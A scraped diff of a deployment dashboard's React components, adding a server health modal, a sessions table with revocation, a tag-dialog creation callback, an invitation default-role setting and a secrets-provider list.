<HandleDnsProvider />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -147,7 +147,7 @@ export const AddGithubProvider = () => {
|
|||||||
isOrganization && !organizationName
|
isOrganization && !organizationName
|
||||||
? "pointer-events-none opacity-50"
|
? "pointer-events-none opacity-50"
|
||||||
: ""
|
: ""
|
||||||
}`}
|
}`}
|
||||||
target="_blank"
|
target="_blank"
|
||||||
rel="noopener noreferrer"
|
rel="noopener noreferrer"
|
||||||
>
|
>
|
||||||
|
|||||||
+3
-3
@@ -70,9 +70,9 @@ export const ToggleDockerCleanup = ({ serverId }: Props) => {
|
|||||||
<TooltipContent side="top" className="max-w-sm">
|
<TooltipContent side="top" className="max-w-sm">
|
||||||
<p>
|
<p>
|
||||||
Runs a full Docker cleanup daily, pruning stopped containers,
|
Runs a full Docker cleanup daily, pruning stopped containers,
|
||||||
unused images, volumes, build cache, and system resources. This
|
unused images, build cache, and system resources. This may remove
|
||||||
may remove images built for Compose services that run on-demand
|
images built for Compose services that run on-demand (backup
|
||||||
(backup runners, cron jobs, one-off tasks).
|
runners, cron jobs, one-off tasks).
|
||||||
</p>
|
</p>
|
||||||
<p className="mt-1">
|
<p className="mt-1">
|
||||||
For custom cleanup strategies, use{" "}
|
For custom cleanup strategies, use{" "}
|
||||||
|
|||||||
@@ -0,0 +1,28 @@
|
|||||||
|
import { Stethoscope } from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
|
import { ShowHealth } from "@/components/dashboard/docker/health/show-health";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { Dialog, DialogContent, DialogTrigger } from "@/components/ui/dialog";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
serverId: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const ShowHealthModal = ({ serverId }: Props) => {
|
||||||
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
<Button variant="outline" size="icon" className="h-9 w-9">
|
||||||
|
<Stethoscope className="h-4 w-4" />
|
||||||
|
</Button>
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="sm:max-w-5xl max-h-[85vh] overflow-y-auto">
|
||||||
|
<div className="flex gap-4 py-4 w-full">
|
||||||
|
<ShowHealth serverId={serverId} />
|
||||||
|
</div>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -35,6 +35,7 @@ import { TerminalModal } from "../web-server/terminal-modal";
|
|||||||
import { ShowServerActions } from "./actions/show-server-actions";
|
import { ShowServerActions } from "./actions/show-server-actions";
|
||||||
import { HandleServers } from "./handle-servers";
|
import { HandleServers } from "./handle-servers";
|
||||||
import { SetupServer } from "./setup-server";
|
import { SetupServer } from "./setup-server";
|
||||||
|
import { ShowHealthModal } from "./show-health-modal";
|
||||||
import { ShowMonitoringModal } from "./show-monitoring-modal";
|
import { ShowMonitoringModal } from "./show-monitoring-modal";
|
||||||
import { WelcomeSubscription } from "./welcome-stripe/welcome-subscription";
|
import { WelcomeSubscription } from "./welcome-stripe/welcome-subscription";
|
||||||
|
|
||||||
@@ -324,6 +325,24 @@ export const ShowServers = () => {
|
|||||||
</Tooltip>
|
</Tooltip>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{permissions?.docker.read &&
|
||||||
|
permissions?.server.read &&
|
||||||
|
server.sshKeyId &&
|
||||||
|
!isBuildServer && (
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<div>
|
||||||
|
<ShowHealthModal
|
||||||
|
serverId={server.serverId}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>Health</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
)}
|
||||||
|
|
||||||
<div className="flex-1" />
|
<div className="flex-1" />
|
||||||
|
|
||||||
{permissions?.server.delete && (
|
{permissions?.server.delete && (
|
||||||
|
|||||||
@@ -0,0 +1,442 @@
|
|||||||
|
import {
|
||||||
|
type ColumnDef,
|
||||||
|
flexRender,
|
||||||
|
getCoreRowModel,
|
||||||
|
getPaginationRowModel,
|
||||||
|
getSortedRowModel,
|
||||||
|
type PaginationState,
|
||||||
|
type SortingState,
|
||||||
|
useReactTable,
|
||||||
|
} from "@tanstack/react-table";
|
||||||
|
import { format } from "date-fns";
|
||||||
|
import { ArrowUpDown, Loader2, LogOut, Smartphone } from "lucide-react";
|
||||||
|
import { useMemo, useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import {
|
||||||
|
Table,
|
||||||
|
TableBody,
|
||||||
|
TableCell,
|
||||||
|
TableHead,
|
||||||
|
TableHeader,
|
||||||
|
TableRow,
|
||||||
|
} from "@/components/ui/table";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
type SessionRow = {
|
||||||
|
id: string;
|
||||||
|
userId: string;
|
||||||
|
email: string;
|
||||||
|
firstName: string | null;
|
||||||
|
lastName: string | null;
|
||||||
|
ipAddress: string | null;
|
||||||
|
userAgent: string | null;
|
||||||
|
createdAt: Date;
|
||||||
|
expiresAt: Date;
|
||||||
|
isCurrent: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
const SortableHeader = ({
|
||||||
|
column,
|
||||||
|
title,
|
||||||
|
}: {
|
||||||
|
column: {
|
||||||
|
getIsSorted: () => false | "asc" | "desc";
|
||||||
|
toggleSorting: (asc: boolean) => void;
|
||||||
|
};
|
||||||
|
title: string;
|
||||||
|
}) => (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="sm"
|
||||||
|
className="-ml-3 h-8"
|
||||||
|
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||||
|
>
|
||||||
|
{title}
|
||||||
|
<ArrowUpDown className="ml-2 size-3.5" />
|
||||||
|
</Button>
|
||||||
|
);
|
||||||
|
|
||||||
|
export const ShowSessions = () => {
|
||||||
|
const { data: auth } = api.user.get.useQuery();
|
||||||
|
const isOwner = auth?.role === "owner";
|
||||||
|
const {
|
||||||
|
data: sessions,
|
||||||
|
isPending,
|
||||||
|
refetch,
|
||||||
|
} = api.user.listSessions.useQuery();
|
||||||
|
const { mutateAsync: revoke, isPending: isRevoking } =
|
||||||
|
api.user.revokeSession.useMutation();
|
||||||
|
const { data: members } = api.user.all.useQuery(undefined, {
|
||||||
|
enabled: isOwner,
|
||||||
|
});
|
||||||
|
|
||||||
|
const [statusFilter, setStatusFilter] = useState<
|
||||||
|
"all" | "active" | "expired"
|
||||||
|
>("all");
|
||||||
|
const [userFilter, setUserFilter] = useState("all");
|
||||||
|
const [globalFilter, setGlobalFilter] = useState("");
|
||||||
|
const [sorting, setSorting] = useState<SortingState>([
|
||||||
|
{ id: "createdAt", desc: true },
|
||||||
|
]);
|
||||||
|
const [pagination, setPagination] = useState<PaginationState>({
|
||||||
|
pageIndex: 0,
|
||||||
|
pageSize: 10,
|
||||||
|
});
|
||||||
|
|
||||||
|
const handleRevoke = async (sessionId: string) => {
|
||||||
|
try {
|
||||||
|
await revoke({ sessionId });
|
||||||
|
toast.success("Session revoked successfully");
|
||||||
|
refetch();
|
||||||
|
} catch (err) {
|
||||||
|
toast.error(
|
||||||
|
err instanceof Error ? err.message : "Failed to revoke session",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const filteredData = useMemo(() => {
|
||||||
|
let list = sessions ?? [];
|
||||||
|
|
||||||
|
if (statusFilter !== "all") {
|
||||||
|
list = list.filter((s) => {
|
||||||
|
const isExpired = new Date(s.expiresAt) <= new Date();
|
||||||
|
return statusFilter === "expired" ? isExpired : !isExpired;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isOwner && userFilter !== "all") {
|
||||||
|
list = list.filter((s) => s.userId === userFilter);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (globalFilter.trim()) {
|
||||||
|
const query = globalFilter.toLowerCase();
|
||||||
|
list = list.filter((s) =>
|
||||||
|
[s.ipAddress, s.userAgent ? parseUserAgent(s.userAgent) : null]
|
||||||
|
.filter(Boolean)
|
||||||
|
.some((field) => field?.toLowerCase().includes(query)),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return list;
|
||||||
|
}, [sessions, statusFilter, userFilter, isOwner, globalFilter]);
|
||||||
|
|
||||||
|
const columns = useMemo<ColumnDef<SessionRow>[]>(
|
||||||
|
() => [
|
||||||
|
{
|
||||||
|
id: "user",
|
||||||
|
accessorFn: (row) => `${row.firstName} ${row.lastName} ${row.email}`,
|
||||||
|
header: ({ column }) => <SortableHeader column={column} title="User" />,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div className="flex items-center gap-1">
|
||||||
|
<span>
|
||||||
|
{row.original.firstName} {row.original.lastName}
|
||||||
|
</span>
|
||||||
|
<span className="text-muted-foreground">
|
||||||
|
({row.original.email})
|
||||||
|
</span>
|
||||||
|
{row.original.isCurrent && (
|
||||||
|
<Badge variant="secondary" className="ml-1 text-xs">
|
||||||
|
Current
|
||||||
|
</Badge>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "ipAddress",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="IP Address" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="font-mono text-sm">
|
||||||
|
{row.original.ipAddress || "-"}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
meta: { className: "hidden md:table-cell" },
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "device",
|
||||||
|
accessorFn: (row) =>
|
||||||
|
row.userAgent ? parseUserAgent(row.userAgent) : "",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Device" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="max-w-[200px] truncate text-sm text-muted-foreground">
|
||||||
|
{row.original.userAgent
|
||||||
|
? parseUserAgent(row.original.userAgent)
|
||||||
|
: "-"}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
meta: { className: "hidden lg:table-cell" },
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "status",
|
||||||
|
accessorFn: (row) => (new Date(row.expiresAt) <= new Date() ? 1 : 0),
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Status" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => {
|
||||||
|
const isExpired = new Date(row.original.expiresAt) <= new Date();
|
||||||
|
return isExpired ? (
|
||||||
|
<Badge variant="outline" className="text-xs">
|
||||||
|
Expired
|
||||||
|
</Badge>
|
||||||
|
) : (
|
||||||
|
<Badge variant="green" className="text-xs">
|
||||||
|
Active
|
||||||
|
</Badge>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "createdAt",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Active Since" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-sm text-muted-foreground whitespace-nowrap">
|
||||||
|
{format(new Date(row.original.createdAt), "MMM d, HH:mm")}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "expiresAt",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Expires" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-sm text-muted-foreground whitespace-nowrap">
|
||||||
|
{format(new Date(row.original.expiresAt), "MMM d, HH:mm")}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "actions",
|
||||||
|
enableSorting: false,
|
||||||
|
header: () => <div className="text-right">Actions</div>,
|
||||||
|
cell: ({ row }) =>
|
||||||
|
!row.original.isCurrent && (
|
||||||
|
<div className="flex justify-end">
|
||||||
|
<DialogAction
|
||||||
|
title="Revoke Session"
|
||||||
|
description={`Force logout for ${row.original.firstName} ${row.original.lastName} (${row.original.email})?`}
|
||||||
|
type="destructive"
|
||||||
|
onClick={async () => handleRevoke(row.original.id)}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="h-8 w-8"
|
||||||
|
disabled={isRevoking}
|
||||||
|
>
|
||||||
|
<LogOut className="h-4 w-4 text-red-500" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[isRevoking, handleRevoke],
|
||||||
|
);
|
||||||
|
|
||||||
|
const table = useReactTable({
|
||||||
|
data: filteredData,
|
||||||
|
columns,
|
||||||
|
state: {
|
||||||
|
sorting,
|
||||||
|
pagination,
|
||||||
|
},
|
||||||
|
onSortingChange: setSorting,
|
||||||
|
onPaginationChange: setPagination,
|
||||||
|
getCoreRowModel: getCoreRowModel(),
|
||||||
|
getSortedRowModel: getSortedRowModel(),
|
||||||
|
getPaginationRowModel: getPaginationRowModel(),
|
||||||
|
});
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="w-full">
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-6xl mx-auto">
|
||||||
|
<div className="rounded-xl bg-background shadow-md">
|
||||||
|
<CardHeader>
|
||||||
|
<CardTitle className="text-xl flex flex-row gap-2">
|
||||||
|
<Smartphone className="size-6 text-muted-foreground self-center" />
|
||||||
|
Sessions
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
{isOwner
|
||||||
|
? "Manage active sessions across your organization. Revoke sessions to force logout."
|
||||||
|
: "Manage your active sessions. Revoke sessions to force logout."}
|
||||||
|
</CardDescription>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent className="space-y-4 py-8 border-t">
|
||||||
|
{isPending ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : !sessions || sessions.length === 0 ? (
|
||||||
|
<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
|
||||||
|
<Smartphone className="size-8 self-center text-muted-foreground" />
|
||||||
|
<span className="text-base text-muted-foreground">
|
||||||
|
No sessions found
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<Input
|
||||||
|
placeholder="Search by IP, device..."
|
||||||
|
value={globalFilter}
|
||||||
|
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||||
|
className="max-w-xs"
|
||||||
|
/>
|
||||||
|
<Select
|
||||||
|
value={statusFilter}
|
||||||
|
onValueChange={(v) =>
|
||||||
|
setStatusFilter(v as "all" | "active" | "expired")
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[150px]">
|
||||||
|
<SelectValue placeholder="Status" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All statuses</SelectItem>
|
||||||
|
<SelectItem value="active">Active</SelectItem>
|
||||||
|
<SelectItem value="expired">Expired</SelectItem>
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
{isOwner && (
|
||||||
|
<Select value={userFilter} onValueChange={setUserFilter}>
|
||||||
|
<SelectTrigger className="w-[200px]">
|
||||||
|
<SelectValue placeholder="User" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All users</SelectItem>
|
||||||
|
{members?.map((m) => (
|
||||||
|
<SelectItem key={m.user.id} value={m.user.id}>
|
||||||
|
{m.user.firstName} {m.user.lastName} ({m.user.email}
|
||||||
|
)
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<div className="rounded-md border overflow-x-auto">
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
{table.getHeaderGroups().map((headerGroup) => (
|
||||||
|
<TableRow key={headerGroup.id}>
|
||||||
|
{headerGroup.headers.map((header) => (
|
||||||
|
<TableHead
|
||||||
|
key={header.id}
|
||||||
|
className={
|
||||||
|
(header.column.columnDef.meta as any)?.className
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{header.isPlaceholder
|
||||||
|
? null
|
||||||
|
: flexRender(
|
||||||
|
header.column.columnDef.header,
|
||||||
|
header.getContext(),
|
||||||
|
)}
|
||||||
|
</TableHead>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))}
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{table.getRowModel().rows?.length ? (
|
||||||
|
table.getRowModel().rows.map((row) => (
|
||||||
|
<TableRow key={row.id}>
|
||||||
|
{row.getVisibleCells().map((cell) => (
|
||||||
|
<TableCell
|
||||||
|
key={cell.id}
|
||||||
|
className={
|
||||||
|
(cell.column.columnDef.meta as any)?.className
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{flexRender(
|
||||||
|
cell.column.columnDef.cell,
|
||||||
|
cell.getContext(),
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<TableRow>
|
||||||
|
<TableCell
|
||||||
|
colSpan={columns.length}
|
||||||
|
className="h-24 text-center text-muted-foreground"
|
||||||
|
>
|
||||||
|
No sessions match your filters.
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
)}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
</div>
|
||||||
|
{table.getPageCount() > 1 && (
|
||||||
|
<div className="flex items-center justify-end gap-4">
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||||
|
{table.getPageCount()}
|
||||||
|
</span>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.previousPage()}
|
||||||
|
disabled={!table.getCanPreviousPage()}
|
||||||
|
>
|
||||||
|
Previous
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.nextPage()}
|
||||||
|
disabled={!table.getCanNextPage()}
|
||||||
|
>
|
||||||
|
Next
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
function parseUserAgent(ua: string): string {
|
||||||
|
if (ua.includes("Chrome/") && !ua.includes("Edg/")) return "Chrome";
|
||||||
|
if (ua.includes("Edg/")) return "Edge";
|
||||||
|
if (ua.includes("Firefox/")) return "Firefox";
|
||||||
|
if (ua.includes("Safari/") && !ua.includes("Chrome/")) return "Safari";
|
||||||
|
if (ua.includes("curl/") || ua.includes("wget/")) return "CLI";
|
||||||
|
return ua.slice(0, 40) + (ua.length > 40 ? "..." : "");
|
||||||
|
}
|
||||||
@@ -53,9 +53,14 @@ type Tag = z.infer<typeof TagSchema>;
|
|||||||
|
|
||||||
interface HandleTagProps {
|
interface HandleTagProps {
|
||||||
tagId?: string;
|
tagId?: string;
|
||||||
|
/**
|
||||||
|
* Called with the new tag's id after it is created, so callers embedding
|
||||||
|
* this dialog (e.g. the tag selector) can select the tag right away.
|
||||||
|
*/
|
||||||
|
onCreated?: (tagId: string) => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const HandleTag = ({ tagId }: HandleTagProps) => {
|
export const HandleTag = ({ tagId, onCreated }: HandleTagProps) => {
|
||||||
const utils = api.useUtils();
|
const utils = api.useUtils();
|
||||||
const [isOpen, setIsOpen] = useState(false);
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
const colorInputRef = useRef<HTMLInputElement>(null);
|
const colorInputRef = useRef<HTMLInputElement>(null);
|
||||||
@@ -101,8 +106,11 @@ export const HandleTag = ({ tagId }: HandleTagProps) => {
|
|||||||
color: data.color,
|
color: data.color,
|
||||||
tagId: tagId || "",
|
tagId: tagId || "",
|
||||||
})
|
})
|
||||||
.then(async () => {
|
.then(async (result) => {
|
||||||
await utils.tag.all.invalidate();
|
await utils.tag.all.invalidate();
|
||||||
|
if (!tagId && result?.tagId) {
|
||||||
|
onCreated?.(result.tagId);
|
||||||
|
}
|
||||||
toast.success(tagId ? "Tag Updated" : "Tag Created");
|
toast.success(tagId ? "Tag Updated" : "Tag Created");
|
||||||
setIsOpen(false);
|
setIsOpen(false);
|
||||||
form.reset();
|
form.reset();
|
||||||
@@ -139,9 +147,18 @@ export const HandleTag = ({ tagId }: HandleTagProps) => {
|
|||||||
</DialogHeader>
|
</DialogHeader>
|
||||||
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||||
<Form {...form}>
|
<Form {...form}>
|
||||||
|
{/*
|
||||||
|
* This dialog can be rendered inside another form (e.g. the tag
|
||||||
|
* selector in the project dialog). React propagates events through the
|
||||||
|
* React tree, not the DOM tree, so without stopPropagation submitting
|
||||||
|
* this form would also submit the outer one.
|
||||||
|
*/}
|
||||||
<form
|
<form
|
||||||
id="hook-form-tag"
|
id="hook-form-tag"
|
||||||
onSubmit={form.handleSubmit(onSubmit)}
|
onSubmit={(e) => {
|
||||||
|
e.stopPropagation();
|
||||||
|
form.handleSubmit(onSubmit)(e);
|
||||||
|
}}
|
||||||
className="grid w-full gap-4"
|
className="grid w-full gap-4"
|
||||||
>
|
>
|
||||||
<FormField
|
<FormField
|
||||||
|
|||||||
@@ -106,6 +106,7 @@ export const AddInvitation = () => {
|
|||||||
const { mutateAsync: createUserWithCredentials, isPending: isCreating } =
|
const { mutateAsync: createUserWithCredentials, isPending: isCreating } =
|
||||||
api.user.createUserWithCredentials.useMutation();
|
api.user.createUserWithCredentials.useMutation();
|
||||||
const { data: customRoles } = api.customRole.all.useQuery();
|
const { data: customRoles } = api.customRole.all.useQuery();
|
||||||
|
const { data: activeOrganization } = api.organization.active.useQuery();
|
||||||
const [error, setError] = useState<string | null>(null);
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
|
||||||
const form = useForm<AddInvitation>({
|
const form = useForm<AddInvitation>({
|
||||||
@@ -132,6 +133,16 @@ export const AddInvitation = () => {
|
|||||||
}
|
}
|
||||||
}, [form, isCloud]);
|
}, [form, isCloud]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (
|
||||||
|
activeOrganization?.defaultRole &&
|
||||||
|
activeOrganization.defaultRole !== "owner" &&
|
||||||
|
!form.formState.dirtyFields.role
|
||||||
|
) {
|
||||||
|
form.setValue("role", activeOrganization.defaultRole);
|
||||||
|
}
|
||||||
|
}, [form, activeOrganization?.defaultRole]);
|
||||||
|
|
||||||
const onSubmit = async (data: AddInvitation) => {
|
const onSubmit = async (data: AddInvitation) => {
|
||||||
setError(null);
|
setError(null);
|
||||||
|
|
||||||
@@ -267,10 +278,7 @@ export const AddInvitation = () => {
|
|||||||
return (
|
return (
|
||||||
<FormItem>
|
<FormItem>
|
||||||
<FormLabel>Role</FormLabel>
|
<FormLabel>Role</FormLabel>
|
||||||
<Select
|
<Select onValueChange={field.onChange} value={field.value}>
|
||||||
onValueChange={field.onChange}
|
|
||||||
defaultValue={field.value}
|
|
||||||
>
|
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<SelectTrigger>
|
<SelectTrigger>
|
||||||
<SelectValue placeholder="Select a role" />
|
<SelectValue placeholder="Select a role" />
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,167 @@
|
|||||||
|
import { Loader2, Trash2, Vault } from "lucide-react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { vaultProviderIcons } from "@/components/icons/vault-provider-icons";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
import { HandleVaultProvider } from "./handle-vault-provider";
|
||||||
|
|
||||||
|
const providerLabels: Record<string, string> = {
|
||||||
|
hashicorp: "HashiCorp Vault",
|
||||||
|
infisical: "Infisical",
|
||||||
|
aws: "AWS Secrets Manager",
|
||||||
|
doppler: "Doppler",
|
||||||
|
azure: "Azure Key Vault",
|
||||||
|
scaleway: "Scaleway Secret Manager",
|
||||||
|
};
|
||||||
|
|
||||||
|
export const ShowVaultProviders = () => {
|
||||||
|
const { mutateAsync, isPending: isRemoving } =
|
||||||
|
api.vaultProvider.remove.useMutation();
|
||||||
|
const { data, isPending, refetch } = api.vaultProvider.all.useQuery();
|
||||||
|
const { data: permissions } = api.user.getPermissions.useQuery();
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="w-full">
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
|
||||||
|
<div className="rounded-xl bg-background shadow-md">
|
||||||
|
<CardHeader>
|
||||||
|
<CardTitle className="text-xl flex flex-row gap-2">
|
||||||
|
<Vault className="size-6 text-muted-foreground self-center" />
|
||||||
|
Secrets Providers
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Connect external secret managers and reference their secrets in
|
||||||
|
environment variables with{" "}
|
||||||
|
<code>{"${{vault.<name>.<secret>}}"}</code>
|
||||||
|
</CardDescription>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent className="space-y-2 py-8 border-t">
|
||||||
|
{isPending ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
{data?.length === 0 ? (
|
||||||
|
<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
|
||||||
|
<Vault className="size-8 self-center text-muted-foreground" />
|
||||||
|
<span className="text-base text-muted-foreground text-center">
|
||||||
|
You don't have any secrets providers configured
|
||||||
|
</span>
|
||||||
|
{permissions?.vaultProvider.create && (
|
||||||
|
<HandleVaultProvider />
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="flex flex-col gap-4 min-h-[25vh]">
|
||||||
|
<div className="flex flex-col gap-4 rounded-lg">
|
||||||
|
{data?.map((provider) => {
|
||||||
|
const ProviderIcon =
|
||||||
|
vaultProviderIcons[provider.providerType];
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
key={provider.vaultProviderId}
|
||||||
|
className="flex items-center justify-between bg-sidebar p-1 w-full rounded-lg"
|
||||||
|
>
|
||||||
|
<div className="flex items-center justify-between p-3.5 rounded-lg bg-background border w-full">
|
||||||
|
<div className="flex flex-row items-center gap-3">
|
||||||
|
<ProviderIcon className="size-7 shrink-0" />
|
||||||
|
<div className="flex gap-2 flex-col">
|
||||||
|
<span className="text-sm font-medium">
|
||||||
|
{provider.name}
|
||||||
|
</span>
|
||||||
|
<div className="flex flex-row gap-2 items-center">
|
||||||
|
{provider.assignments.length === 0 ? (
|
||||||
|
<Badge variant="destructive">
|
||||||
|
Not assigned
|
||||||
|
</Badge>
|
||||||
|
) : (
|
||||||
|
<Badge variant="secondary">
|
||||||
|
{provider.assignments.length}{" "}
|
||||||
|
{provider.assignments.length === 1
|
||||||
|
? "project"
|
||||||
|
: "projects"}
|
||||||
|
</Badge>
|
||||||
|
)}
|
||||||
|
<Badge variant="outline">
|
||||||
|
{providerLabels[provider.providerType] ??
|
||||||
|
provider.providerType}
|
||||||
|
</Badge>
|
||||||
|
<span className="text-xs text-muted-foreground">
|
||||||
|
{"${{vault." + provider.name + ".…}}"}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
